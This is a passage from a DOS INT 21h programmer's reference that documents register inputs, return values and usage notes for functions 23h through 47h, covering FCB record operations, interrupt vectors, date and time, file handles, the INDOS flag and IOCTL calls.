	- FCB must be setup with drive id, complete filename and
	  extension plus record length before call
	- updates random record position in FCB located at DS:DX
	  with file record count

:int 21,24
^INT 21,24 - Set Relative Record Field in FCB


	AH = 24h
	DS:DX = pointer to an opened ~FCB~


	returns nothing


	- modifies opened FCB for random operation
	- sets FCB random record field to current sequential block
	  and record fields

:int 21,25
^INT 21,25 - Set Interrupt Vector
```

```
        AH = 25h
        AL = interrupt number
        DS:DX = pointer to interrupt handler


        returns nothing


        - provides a safe method for changing interrupt vectors


        - see ~INT 21,35~

:int 21,26
^INT 21,26 - Create New Program Segment Prefix


        AH = 26h
        DX = segment address of new ~PSP~


        returns nothing


        - allocates memory for a PSP and copies current PSP there
        - used before DOS 2.x to spawn a child process
        - the application is responsible for allocating any memory
          necessary for the child process
        - ~INT 21,4B~ (EXEC) is now the recommended method for starting
          a child process, so this function should be avoided


        - see also ~INT 21,55~

:int 21,27
^INT 21,27 - Random Block Read Using FCB


        AH = 27h
        CX = number of records to read
        DS:DX = pointer to an opened ~FCB~


        on return:
        AL = 00 if read was successful
           = 01 if EOF (no data read)
           = 02 if ~DTA~ is too small
           = 03 if EOF (partial record read)
        CX = actual number of records read


        - allows random access and sequential reading of a group
          of records from a file opened with an FCB into the DTA
        - FCB must be setup with drive id, filename, extension
          record length and random record number before call

:int 21,28
^INT 21,28 - Random Block Write Using FCB


        AH = 28h
        CX = number of records to write
```

DS:DX = pointer to an opened ~FCB~

on return:
AL = 00 if write successful
   = 01 if diskette full or read only
   = 02 if ~DTA~ is too small
CX = number of records written

- allows random access and sequential writing of a group
  of records from a file opened with an FCB into the DTA
- FCB must be setup with random record number and record size
- updates random record number, current block and current
  record fields

:int 21,29
^INT 21,29 - Parse a Filename for FCB

AH = 29h
AL = bit pattern to control parsing (see bit meanings below)
DS:SI = pointer to a filespec to parse
ES:DI = pointer to a buffer for unopened ~FCB~

Bit patterns for parsing control found in AL:

```
³7³6³5³4³3³2³1³0³  AL
 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = ignore leading separators
 ³ ³ ³ ³ ³ ³ ³         0 = don't ignore leading separators
 ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ 1 = modify drive ID if specified
 ³ ³ ³ ³ ³ ³           0 = modify drive ID regardless
 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ 1 = modify filename if specified
 ³ ³ ³ ³ ³     0 = modify filename regardless
 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = modify extension if specified
 ³ ³ ³ ³      0 = modify extension regardless
 ÀÄÁÄÁÄÁÄÄÄÄÄÄÄÄ unused
```

on return:
AL = 00 if no wildcard characters present
   = 01 if wildcards present in string
   = FF if drive specifier is invalid
DS:SI = pointer to the first character after parsed filename
ES:DI = pointer to the updated unopened FCB

- retrieves filename from the command line string and places
  the filename components into an unopened FCB for later use
- if no filename is found a pointer is returned in ES:DI that
  has a blank at ES:DI+1
- this function can be used to detect the existence of logical DOS
  drives by creating a dummy filespec with a drive letter and colon
  prepended. If the drive is invalid, this function will return FF
  in AL

:int 21,2a
^INT 21,2A - Get Date

AH = 2A

on return:
AL = day of the week (0=Sunday)

```
      CX = year (1980-2099)
      DH = month (1-12)
      DL = day (1-31)


      - retrieves system date based on the DOS maintained clock
      - updates ~BIOS Data Area~ current date and date rollover flag
        at location 40:70

:int 21,2b
^INT 21,2B - Set Date


      AH = 2B
      CX = year (1980-2099)
      DH = month (1-12)
      DL = day (1-31)


      on return:
      AL = 00 if date change successful
         = FF if invalid date


      - sets DOS maintained clock
      - DOS versions 3.3+ also update the ~CMOS~ date where applicable

:int 21,2c
^INT 21,2C - Get Time


      AH = 2C


      on return:
      CH = hour (0-23)
      CL = minutes (0-59)
      DH = seconds (0-59)
      DL = hundredths (0-99)


      - retrieves DOS maintained clock time
:int 21,2d
^INT 21,2D - Set Time


      AH = 2D
      CH = hour (0-23)
      CL = minutes (0-59)
      DH = seconds (0-59)
      DL = hundredths (0-99)


      on return:
      AL = 00 if time change successful
         = FF if time invalid


      - changes DOS maintained clock
      - DOS version 3.3+ also update CMOS clock where applicable

:int 21,2e
^INT 21,2E - Set/Reset Verify Switch
```

```
        AH = 2E
        AL = 00 to set off
           = 01 to set verify on
        DH = 00 for DOS versions before 3.0


        returns nothing


        - with the verify setting on, disk I/O is more secure but
          takes longer to complete


        - see ~INT 21,54~

:int 21,2f
^INT 21,2F - Get Disk Transfer Address (DTA)


        AH = 2F


        on return:
        ES:BX = pointer to current ~DTA~


        - returns the DTA address
        - the default DTA is a 128 byte block at address 80h in the
          Program Segment Prefix (~PSP~).  This area also contains the
          command tail at program startup it must be saved or the DTA
          must be relocated before use to preserve the command tail

        - see ~INT 21,1A~

:int 21,30
^INT 21,30 - Get DOS Version Number


        AH = 30h


        on return:
        AL = major version number (2-5)
        AH = minor version number (in hundredths decimal)
        BH = FF  indicates MS-DOS, only if OEM vendor chooses to identify
           = 00  indicates PC-DOS
        BL:CX = 24 bit OEM serial number if BH is FF


        - for an example DOS version 2.1 returns AL=2 and AH=10
        - DOS versions prior to DOS 2.0 return zero in AH and AL
        - DOS version 4.0 and 4.1 usually return the same value of 4.00
        - the OEM serial number is a rarity, though some older OEM DOS
          versions implemented this feature
        - the OS/2 compatibility box returns 10.10 for OS/2 1.1, 10.20
          for OS/2 1.2, etc...
        - when testing for version, a specific test can often cause your
          code to not work in following versions of DOS.  It is often better
          to test for a version number greater or equal to the minimum rather
          than a specific version number where possible
        - see ~DOS Versions~
```

```
:int 21,31
^INT 21,31 - Terminate Process and Remain Resident


      AH = 31h
      AL = exit code (returned to batch files)
      DX = memory size in paragraphs to reserve


      returns nothing


      - preferred method for Terminate and Stay Resident programs
      - terminates process without releasing allocated memory and
        without closing open files
      - attempts allocation of memory specified in DX from memory
        allocated by DOS at startup.      ~INT 21,48~ memory allocation
        is not affected

      - see ~INT 27~

:int 21,32
^INT 21,32 - Get Pointer to Drive Parameter Table (Undocumented)

      AH = 32h
      DL = drive (0=default, 1=A:, 2=B:, 3=C:, ...)


      on return:
      AL =  FF if the drive number in DL was invalid
      DS:BX = address of drive parameter table (~DPT~)


      - available since DOS 2.0
      - used by DOS commands CHKDSK and RECOVER
      - forces a media check, which clears byte DS:[BX+17h] or DS:[BX+18h]
        in the Drive Parameter Table
      - actually accesses the disk, causing a critical error if a disk
        error occurs
      - can be used to determine if a drive is SUBST'ed by comparing
        DS:[BX+1] and DS:[BX] for a match.  If not equal, then the
        drive is possibly SUBST'ed (though not guaranteed, this may also
        indicate a Bernoulli box)
      - can be used to determine if a drive is a RAM disk; if the disk is
        NOT removable and (DS:[BX+1] == 0), then the disk is a RAM disk
        (see ~IOCTL,0~ bit number 0Bh to determine if the disk is removable)
:int 21,33
^INT 21,33 - Get/Set System Values (Ctl-Break/Boot Drive)


      AH = 33h
      AL = 00 to get Ctrl-Break checking flag
         = 01 to set Ctrl-Break checking flag
         = 02 to set extended Ctrl-Break checking
         = 05 get boot drive (DOS 4.x)
      DL = 00 to set Ctrl-Break checking off
         = 01 to set Ctrl-Break checking on
         = boot drive for subfunction 5;  (1=A:, 2=B:, ...)


      on return:
      DL = 00 Ctrl-Break checking OFF (AL=0 or AL=2)
         = 01 Ctrl-Break checking ON     (AL=0 or AL=2)
```

```
   = boot drive number (1-26, A: - Z:) (function 05)


- retrieves DOS Ctrl-Break or extended Ctrl-Break setting which
  determines if DOS will check for Ctrl-Break during INT 21 calls
```
:int 21,34:INDOS
^INT 21,34 - Get Address to DOS Critical Flag
^INDOS   (Undocumented DOS 2.0+)

```
AH = 34h

on return:
ES:BX = address of a byte indicating whether a DOS call is
      in progress.  No DOS calls should be made if set.


- AKA the INDOS flag, this critical section flag may be checked from
  within an interrupt handler before requesting a DOS service. It is
  a semaphore that is non-zero when DOS is busy, and zero otherwise.
- though this flag indicates whether a DOS interrupt is active, it
  should not be used alone to determine DOS is safe for re-entry;
  Here's the standard rule for safe DOS entry: if ~INT 28~ is active
  or this flag and the critical error flag are clear then it is safe
  to call DOS
- this interrupt should be used only during TSR initialization;
  the returned pointer should be used thereafter
- this flag is cleared after a critical error (~INT 24~)
- ES:BX-1 points to the critical error flag for DOS 3.x+
  ES:BX+1 points to the critical error flag for DOS 2.x
  ES:BX-1AA points to the critical error flag for COMPAQ DOS 3.0
  ~INT 21,5D~ in DOS 3.x+ can be used to locate the critical
  error flag
```
:int 21,35
^INT 21,35 - Get Interrupt Vector

```
AH = 35h
AL = interrupt vector number


on return:
ES:BX = pointer to interrupt handler


- standard method for retrieving interrupt vectors


- see ~INT 21,25~
```

:int 21,36
^INT 21,36 - Get Disk Free Space

```
AH = 36h
DL = drive number (0=default, 1=A:)


on return:
AX = sectors per cluster
   = FFFF if drive is invalid
BX = number of available clusters
CX = number of bytes per sector
DX = number of clusters per drive
```

```
      - used to determine available space on specified disk
      - see ~INT 21,1B~   ~INT 21,1C~

:int 21,37
^INT 21,37 - Get/Set Switch Character (Undocumented, DOS 2.0+)


      AH = 37h
      AL = 0      get switch character into DL;  some systems return "-"
         = 1      set switch character to value in DL
         = 2      read device prefix flag into DL;  returns DL = 0 indicating
            devices must be accessed using /DEV/device. A non-zero value
            indicates devices may be accessed without prefix
         = 3      set device prefix flag, device names must begin with \DEV\.
      DL = new switch character (AL=1)
         = 00  \DEV\ must preceed device names (AL=3)
         = 01  \DEV\ is not neccesary in device names (AL=3)

      on return:
      AL = FF  illegal subfunction code specified
      DL = current switch character (AL=0)
         = device availability (AL=2, always FF with DOS 4.x+)


      - subfunctions 0 and 1 were formerly available as a CONFIG.SYS
        command in DOS versions before 3.x;    also supportedin the OS/2
        compatibility box
      - subfunctions 2 and 3 were available in DOS 2.x only;     they have
        no effect in DOS 4.x+
      - /DEV/ prefix is valid in DOS 2.x by default, setting the flag makes
        it mandatory.  DOS internal commands like DIR, TYPE and DEL do not
        recognize filenames the are identical to device names regardless of
        the setting of the AVAILDEV flag.
:int 21,38
^INT 21,38 - Get/Set Country Dependent Information

      AH = 38h
      AL = 00 to get current country information
         = 00-FE country codes  (DOS 3.x+)
         = FF for country codes >= FF, country codes are in BX
      BX = country code if AL = FF (country code > 255)
      DX = FFFF to set country information
      DS:DX = pointer to buffer to contain country data (if get data)

      on return:
      AX = error code if CF set
         = 02 invalid country
      BX = country code (DOS 3.x+)
      DS:DX = pointer to returned country data (see ~COUNTRY CODES~)


      - returns a pointer to country specific data, for DOS 3.x+ this
        function can be used to also set this information
:int 21,39
^INT 21,39 - Create Subdirectory (mkdir)


      AH = 39h
      DS:DX = pointer to ASCIIZ path name
```

```
        on return:
        CF = 0 if successful
           = 1 if error
        AX = error code  (see ~DOS ERROR CODES~)


        - creates specified subdirectory
        - returns error if directory already exists, element of the path
          is not found, directory full or write protected disk

:int 21,3a
^INT 21,3A - Remove Subdirectory (rmdir)


        AH = 3A
        DS:DX = pointer to ASCIIZ path name


        on return:
        CF = 0 if successful
           = 1 if error
        AX = error code  (see ~DOS ERROR CODES~)


        - allows deletion of a subdirectory as long as it exists, is empty
          and not the current directory

:int 21,3b
^INT 21,3B - Change Current Directory (chdir)


        AH = 3B
        DS:DX = pointer to ASCIIZ path name


        on return:
        CF = 0 if successful
           = 1 if error
        AX = error code if CF set  (see ~DOS ERROR CODES~)


        - changes the current directory to the directory specified
          by pointer DS:DX

:int 21,3c
^INT 21,3C - Create File Using Handle


        AH = 3C
        CX = file attribute  (see ~FILE ATTRIBUTES~)
        DS:DX = pointer to ASCIIZ path name


        on return:
        CF = 0 if successful
           = 1 if error
        AX = files handle if successful
           = error code if failure  (see ~DOS ERROR CODES~)


        - if file already exists, it is truncated to zero bytes on opening

:int 21,3d
```

```
^INT 21,3D - Open File Using Handle

      AH = 3D
      AL = open access mode
           00  read only
           01  write only
           02  read/write
      DS:DX = pointer to an ASCIIZ file name

      on return:
      AX = file handle if CF not set
         = error code if CF set  (see ~DOS ERROR CODES~)


%     Access modes in AL:

      ³7³6³5³4³3³2³1³0³  AL
       ³ ³ ³ ³ ³ ÀÄÁÄÁÄÄÄÄ read/write/update access mode
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ reserved, always 0
       ³ ÀÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄ sharing mode (see below) (DOS 3.1+)
       ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = private, 0 = inheritable (DOS 3.1+)


%     Sharing mode bits (DOS 3.1+):        Access mode bits:
%     654                            210
      000  compatibility mode (exclusive)    000  read access
      001  deny others read/write access     001  write access
      010  deny others write access       010  read/write access
      011  deny others read access
      100  full access permitted to all


      - will open normal, hidden and system files
      - file pointer is placed at beginning of file

:int 21,3e
^INT 21,3E - Close File Using Handle


      AH = 3E
      BX = file handle to close


      on return:
      AX = error code if CF set  (see ~DOS ERROR CODES~)


      - if file is opened for update, file time and date stamp
        as well as file size are updated in the directory
      - handle is freed

:int 21,3f
^INT 21,3F - Read From File or Device Using Handle


      AH = 3F
      BX = file handle
      CX = number of bytes to read
      DS:DX = pointer to read buffer


      on return:
      AX = number of bytes read is CF not set
```

```
   = error code if CF set  (see ~DOS ERROR CODES~)


- read specified number of bytes from file into buffer DS:DX
- when AX is not equal to CX then a partial read occurred due
  to end of file
- if AX is zero, no data was read, and EOF occurred before read
```

:int 21,40
^INT 21,40 - Write To File or Device Using Handle

```
AH = 40h
BX = file handle
CX = number of bytes to write, a zero value truncates/extends
     the file to the current file position
DS:DX = pointer to write buffer


on return:
AX = number of bytes written if CF not set
   = error code if CF set  (see ~DOS ERROR CODES~)


- if AX is not equal to CX on return, a partial write occurred
- this function can be used to truncate a file to the current
  file position by writing zero bytes
```

:int 21,41
^INT 21,41 - Delete File

```
AH = 41h
DS:DX = pointer to an ASCIIZ filename


on return:
AX = error code if CF set  (see DOS ERROR CODES)


- marks first byte of file directory entry with E5 to indicate
  the file has been deleted.  The rest of the directory entry
  stays intact until reused.   ~FAT~ pointers are returned to DOS
- documented as not accepting wildcards in filename but actually
  does in several DOS versions
```

:int 21,42
^INT 21,42 - Move File Pointer Using Handle

```
AH = 42h
AL = origin of move:
     00 = beginning of file plus offset  (SEEK_SET)
     01 = current location plus offset   (SEEK_CUR)
     02 = end of file plus offset  (SEEK_END)
BX = file handle
CX = high order word of number of bytes to move
DX = low order word of number of bytes to move


on return:
AX = error code if CF set  (see ~DOS ERROR CODES~)
DX:AX = new pointer location if CF not set
```

```
      - seeks to specified location in file
:int 21,43
^INT 21,43 - Get/Set File Attributes

      AH = 43h
      AL = 00 to get attribute
         = 01 to set attribute
      DS:DX = pointer to an ASCIIZ path name
      CX = attribute to set

      ³5³4³3³2³1³0³  CX  valid file attributes
       ³  ³  ³  ³  ³ ÀÄÄÄÄ 1 = read only
       ³  ³  ³  ³ ÀÄÄÄÄÄÄ 1 = hidden
       ³  ³  ³ ÀÄÄÄÄÄÄÄ 1 = system
       ³ ÀÄÁÄÄÄÄÄÄÄÄÄ not used for this call
       ÀÄÄÄÄÄÄÄÄÄÄÄ 1 = archive


      on return:
      AX = error code if CF set  (see ~DOS ERROR CODES~)
      CX = the attribute if AL was 00

      - see ~DIRECTORY~

:int 21,44
^INT 21,44 - I/O Control for Devices  (IOCTL)

%     Standard Call Format

      AH = 44h
      AL = function value
      BX = file handle
      BL = logical device number (0=default, 1=A:, 2=B:, 3=C:, ...)
      CX = number of bytes to read or write
      DS:DX = data or buffer


      on return:
      AX = error code if CF set
      AX = # of bytes transferred if CF not set


%     For more information, see the following topics:

      ~IOCTL,0~   Get Device Information
      ~IOCTL,1~   Set Device Information
      ~IOCTL,2~   Read From Character Device
      ~IOCTL,3~   Write to Character Device
      ~IOCTL,4~   Read From Block Device
      ~IOCTL,5~   Write to Block Device
      ~IOCTL,6~   Get Input Status
      ~IOCTL,7~   Get Output Status
      ~IOCTL,8~   Device Removable Query
      ~IOCTL,9~   Device Local or Remote Query
      ~IOCTL,A~   Handle Local or Remote Query
      ~IOCTL,B~   Set Sharing Retry Count
      ~IOCTL,C~   Generic I/O for Handles
      ~IOCTL,D~   Generic I/O for Block Devices (3.2+)
      ~IOCTL,E~   Get Logical Drive (3.2+)
      ~IOCTL,F~   Set Logical Drive (3.2+)


      - see:      ~DEVICE COMMAND CODES~
```

```
              ~DEVICE REQUEST HEADER~
              ~DEVICE STATUS~
              ~DEVICE HEADER~
              ~DEVICE ATTRIBUTES~

:int 21,44,0:IOCTL,0
^INT 21,44,0 / IOCTL,0 - Get Device Information

      AH = 44h
      AL = 00
      BX = handle (must be an opened device)


      on return
      AX = error code if CF set  (see ~DOS ERROR CODES~)
      DX = device information  (see tables below)


      ³F³E³D³C³B³A-8³7³6³5-0³  DX  Block Device Information
       ³ ³ ³ ³ ³   ³   ³ ³  ÀÄÄÄÄÄ drive number (0=A:,1=B:)
       ³ ³ ³ ³ ³   ³   ³ ÀÄÄÄÄÄÄÄ 0 = file has been written
       ³ ³ ³ ³ ³   ³  ÀÄÄÄÄÄÄÄÄÄ 0 = disk file; 1 = character device
       ³ ³ ³ ³ ³  ÀÄÄÄÄÄÄÄÄÄÄÄ reserved, must be zero
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = media not removable
       ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = network device (DOS 3.x+)
       ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = reserved
       ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = don't update file time or date (DOS 4.x+)
       ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 = file is remote (DOS 3.x+)

      ³F³E³D³C³B³A-8³7³6³5³4³3³2³1³0³  DX  Character Device Information
       ³ ³ ³ ³ ³   ³   ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = standard input device
       ³ ³ ³ ³ ³   ³   ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = standard output device
       ³ ³ ³ ³ ³   ³   ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = NUL device
       ³ ³ ³ ³ ³   ³   ³ ³ ³ ³ ÀÄÄÄÄ 1 = clock device
       ³ ³ ³ ³ ³   ³   ³ ³ ³ ÀÄÄÄÄ uses DOS ~INT 29~ for fast character output
       ³ ³ ³ ³ ³   ³   ³ ³ ÀÄÄÄÄ 1 = binary mode, 0 = translated
       ³ ³ ³ ³ ³   ³   ³ ÀÄÄÄÄ 0 = end of file on input
       ³ ³ ³ ³ ³   ³  ÀÄÄÄÄ 1 = character device, 0 if disk file
       ³ ³ ³ ³ ³  ÀÄÄÄÄÄ reserved
       ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = media not removable
       ³ ³ ³ ÀÄÄÄÄÄÄÄ 1 = network device (DOS 3.x+)
       ³ ³ ÀÄÄÄÄÄÄÄ reserved
       ³ ÀÄÄÄÄÄÄÄ 1 = supports IOCTL, via functions 2 & 3
       ÀÄÄÄÄÄÄÄ reserved


      - BIT 7 of register DX can be used to detect if STDIN/STDOUT is
        redirected to/from disk; if a call to this function has DX BIT 7
        set it's not redirected from/to disk; if it's clear then it is
        redirected to/from disk
      - BIT B of register DX can be used to determine if a drive is
        removable.

:int 21,44,1:IOCTL,1
^INT 21,44,1 / IOCTL,1 - Set Device Information

      AH = 44h
      AL = 01
      BX = handle
      DH = must be zero
      DL = device data low order byte  (see below)
```

```
        on return
        AX = error code if CF set
        DX = device information  (see below)


        - applicable to character devices only
        - allows setting of device data word for character devices
        - usually used to change from binary to translated I/O
        - handle in BX must be an opened file or device
```

^Device Data Word

```
        ³F³E³D³C³B³A³9³8³7³6³5³4³3³2³1³0³  Device Data Word
         ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = standard input device
         ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = standard output device
         ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = NUL device
         ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = clock device
         ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ reserved
         ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = binary mode, 0 = translated
         ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 0 = end of file on input
         ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ 1 = character device
         ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄ reserved, must be zero
```

:int 21,44,2:IOCTL,2
^INT 21,44,2 / IOCTL,2 - Read From Character Device

```
        AH = 44h
        AL = 02
        BX = handle
        CX = number of bytes to read
        DS:DX = pointer to data buffer


        on return
        AX = number of bytes read if CF clear
           = error code if CF set   (see ~DOS ERROR CODES~)


        - see bit 14 if IOCTL function 00h to determine if
          driver can support IOCTL control strings
```

:int 21,44,3:IOCTL,3
^INT 21,44,3 / IOCTL,3 - Write to Character Device

```
        AH = 44h
        AL = 03
        BX = handle
        CX = number of bytes to send
        DS:DX = pointer to data buffer


        on return
        AX = number of bytes written if CF clear
           = error code if CF set   (see ~DOS ERROR CODES~)


        - see bit 14 if IOCTL function 00h to determine if
          driver can support IOCTL control strings
```

```
:int 21,44,4:IOCTL,4
^INT 21,44,4 / IOCTL,4 - Read from Block Device


      AH = 44h
      AL = 04
      BL = drive number (0=default, 1=A:, 2=B:, 3=C:, ...)
      CX = number of bytes to read
      DS:DX = pointer to data buffer


      on return
      AX = number of bytes read if CF clear
         = error code if CF set  (see ~DOS ERROR CODES~)


      - block drivers are not required to support this function
      - returns AX = 01 (invalid function code) if not supported

:int 21,44,5:IOCTL,5
^INT 21,44,5 / IOCTL,5 - Write to Block Device


      AH = 44h
      AL = 05
      BL = drive number (0=default, 1=A:, 2=B:, 3=C:, ...)
      CX = number of bytes to send
      DS:DX = pointer to data buffer


      on return
      AX = number of bytes written if CF clear
         = error code if CF set  (see ~DOS ERROR CODES~)


      - block devices are not required to support this function
      - returns AX = 01 (invalid function code) if not supported

:int 21,44,6:IOCTL,6
^INT 21,44,6 / IOCTL,6 - Get Input Status


      AH = 44h
      AL = 06
      BX = handle


      on return
      CF = 0 if successful
         = 1 if error
      AX = error code if CF set  (see ~DOS ERROR CODES~)
      AL = 00  if EOF (files), or not ready (char devices)
         = FF  if not EOF (files), or ready (char devices)


      - used to determine if a file or device is ready for input
      - can be used to determine EOF unless EOF caused by ~INT 21,42~

:int 21,44,7:IOCTL,7
^INT 21,44,7 / IOCTL,7 - Get Output Status


      AH = 44h
```

```
      AL = 07
      BX = handle


      on return
      CF = 0 if successful
         = 1 if error
      AX = error code if CF set  (see ~DOS ERROR CODES~)
      AL = 00  if ready (files), or not ready (char devices)
         = FF  ready (files or char device)


      - indicates if a device or file is ready for output
      - files always return ready, character devices don't

:int 21,44,8:IOCTL,8
^INT 21,44,8 / IOCTL,8 - Device Removable Query

      AH = 44h
      AL = 08
      BL = drive number (0=default, 1=A:, 2=B:, 3=C:, ...)


      on return
      CF = 0 if successful
         = 1 if error
      AX = 00  removable media
         = 01  non-removable media
         = error code if CF set  (see ~DOS ERROR CODES~)


      - used to determine if a device supports removable media
      - RAM disks are not considered removable media
      - device drivers compatible with DOS 2.0 do not always respond
        correctly to this query
      - implemented from DOS 3.0;  for earlier DOS versions drive A: and
        B: are removable media since DRIVER.SYS/SUBST are DOS 3.0+ only
:int 21,44,9:IOCTL,9
^INT 21,44,9 / IOCTL,9 - Device Local or Remote Query


      AH = 44h
      AL = 09
      BL = drive number (0=default, 1=A:, 2=B:, 3=C:, ...)


      on return
      AX = error code if CF set  (see ~DOS ERROR CODES~)
      DX = device attribute word
           bit 12 = 1 if drive is remote
           bit 12 = 0 if drive is local


      - used to determine if block device is local or remote
      - returns invalid function if networking not started
      - implemented from DOS 3.1

:int 21,44,a:IOCTL,a
^INT 21,44,A / IOCTL,A - Handle Local or Remote Query


      AH = 44h
      AL = 0A
```

```
      BX = handle


      on return
      AX = error code if CF set  (see ~DOS ERROR CODES~)
      DX = device attribute word
           bit 15 = 1 if drive is remote
           bit 15 = 0 if drive is local


      - used to determine if block device is local or remote
      - returns invalid function if networking not started
      - implemented from DOS 3.1

:int 21,44,b:IOCTL,b
^INT 21,44,B / IOCTL,B - Set Sharing Retry Count


      AH = 44h
      AL = 0B
      CX = pause between retries  (default 1)
      DX = number of retries  (default 3)


      on return
      AX = error code if CF set  (see ~DOS ERROR CODES~)


      - retry parameters are associated with file locking
      - differences in CPU and clock speeds affect length of pauses
      - requires SHARE be loaded or invalid function is returned
      - implemented from DOS 3.0

:int 21,44,c:IOCTL,c
^INT 21,44,C / IOCTL,C - Generic I/O for Handles

      AH = 44h
      AL = 0C
      BX = handle
      CH = device type
         = 00  unknown device type  (DOS 3.3+)
         = 01  COMx  (DOS 3.3+)
         = 03  CON  (DOS 3.3+)
         = 05  LPTx  (DOS 3.3+),  printer  (DOS 3.2)
      CL = minor function code (when CH = 3 or CH = 5)
         = 45  set iteration count  (DOS 3.2 only)

         = 4A  select code page (DOS 3.3+); parameter format:
               00  word  length of data
               02  word  code page ID
               04 nwords character set data array (see offset 00)

         = 4C  code page prepare start  (DOS 3.3+); parameter format:
               00  word  flags
               02  word  length of remainder of parameter block
               04  word  number of code pages following
               06 nwords code page 1,...,N

         = 4D  code page prepare end     (DOS 3.3+); parameter format:
               00  word  length of data
               02  word  code page ID

         = 5F  set display info  (DOS 4.x, when CH=3); parameter format:
```

```
            00  byte  level  (0 for DOS 4.0)
            01  byte  reserved
            02  word  length of following data
            04  word  control flags
                    bit 0 set for blink, clear for intensity
                    bits 1 to 15 reserved
            06  byte  mode type (1=text, 2=graphics)
            07  byte  reserved
            08  word  colors;  0=monochrome, n=bits per pixel
            0A  word  pixel columns
            0C  word  pixel rows
            0E  word  character columns
            10  word  character rows

      = 65  get iteration count  (DOS 3.2 only)

      = 6A  query selected code page  (DOS 3.3+); parameter format:
            00  word  length of data
            02  word  code page ID
            04 nwords character set data array  (see offset 00)

      = 6B  query prepare list  (DOS 3.3+); Parameter format:
            00  word  length of following data
            02  word  number of hardware code pages
            04 nwords hardware code page array
            xx  word  number of prepared code pages
            xx nwords prepared code page array

      = 7F  get display info  (DOS 4.x, CH = 3)
            00  byte  level  (0 for DOS 4.0)
            01  byte  reserved
            02  word  length of following data
            04  word  control flags
                      bit 0 set for blink, clear for intensity
                      bits 1 to 15 reserved
            06  byte  mode type (1=text, 2=graphics)
            07  byte  reserved
            08  word  colors;  0=monochrome, n=bits per pixel
            0A  word  pixel columns
            0C  word  pixel rows
            0E  word  character columns
            10  word  character rows

   DS:DX = pointer to iteration count word  (DOS 3.2)
         = pointer to parameter block  (DOS 3.3)


   on return
   AX = error code if CF set  (see ~DOS ERROR CODES~)


   - iteration count word specifies the number of times to retry
     an operation before aborting
   - DOS 3.3 changed this function to handle code page switching
   - implemented from DOS 3.2
   - DOS 4.x adds support for double byte characters
   - see IBM DOS Technical Reference Manual for more details

:int 21,44,d:IOCTL,d
^INT 21,44,D / IOCTL,D - Generic I/O for Block Devices

   AH = 44h
   AL = 0D
```

```
       BL = drive number (0=default, 1=A:, 2=B:, 3=C:, ...)
       CH = device type
          = 08 for disk drive  (block device)
       CL = minor function code
          = 40  set device parameters
          = 41  write track on logical device
          = 42  format/verify track on logical drive
          = 47  set access flag  (DOS 4.x)
          = 60  get device parameters
          = 61  read track on logical device
          = 62  verify track on logical drive
          = 67  get access flag  (DOS 4.x)
       DS:DX = pointer to parameter block


       on return
       AX = error code if CF set  (see ~DOS ERROR CODES~)


       - provides device independent primitive control operations
       - implemented from DOS 3.2
       - see IBM DOS Technical Reference Manual for more details

:int 21,44,e:IOCTL,e
^INT 21,44,E / IOCTL,E - Get Logical Drive


       AH = 44h
       AL = 0E
       BL = physical drive number (0=default, 1=A:, 2=B:, 3=C:, ...)


       on return
       AX = error code if CF set  (see ~DOS ERROR CODES~)
       AL = logical drive number assigned to physical drive
          = 0 if drive accessed by only one drive specifier
          = 1 if drive A:, 2 if drive B:, etc


       - used to determine the last drive designator used to access
         a drive if more than one logical drive designation applies
         to a device
       - implemented from DOS 3.2

:int 21,44,f:IOCTL,f
^INT 21,44,F / IOCTL,F - Set Logical Drive


       AH = 44h
       AL = 0F
       BL = new drive number (0=default, 1=A:, 2=B:, 3=C:, ...)


       on return
       AX = error code if CF set  (see ~DOS ERROR CODES~)
       AL = logical drive number (should be equal to BL input)
          = 0 if drive accessed by only one drive specifier
          = 1 if drive A:, 2 if drive B:, etc



       - changes the logical drive designator of the physical drive
         to be accessed next
```

```
      - implemented from DOS 3.2

:int 21,45
^INT 21,45 - Duplicate File Handle


      AH = 45h
      BX = file handle


      on return:
      AX = new file handle if CF not set
         = error code if CF set  (see ~DOS ERROR CODES~)


      - gets another file handle for the same file
      - both file handles move in unison
      - often used to flush file data and update a file directory
        entry without closing the initial file

:int 21,46
^INT 21,46 - Force Duplicate File Handle


      AH = 46h
      BX = existing file handle
      CX = second file handle


      on return:
      AX = error code if CF set  (see ~DOS ERROR CODES~)


      - if file handle in CX is currently open, current file
        identified by CX is closed and the handle in BX is
        dupped and placed in CX
      - after duping file handles move together through file
      - similar to ~INT 21,45~

:int 21,47
^INT 21,47 - Get Current Directory


      AH = 47h
      DL = drive number (0 = default, 1 = A:)
      DS:SI = pointer to a 64 byte user buffer


      on return:
      DS:SI = pointer ASCIIZ directory path string
      AX = error code if CF set  (see ~DOS ERROR CODES~)


      - returns the current directory relative to the root directory
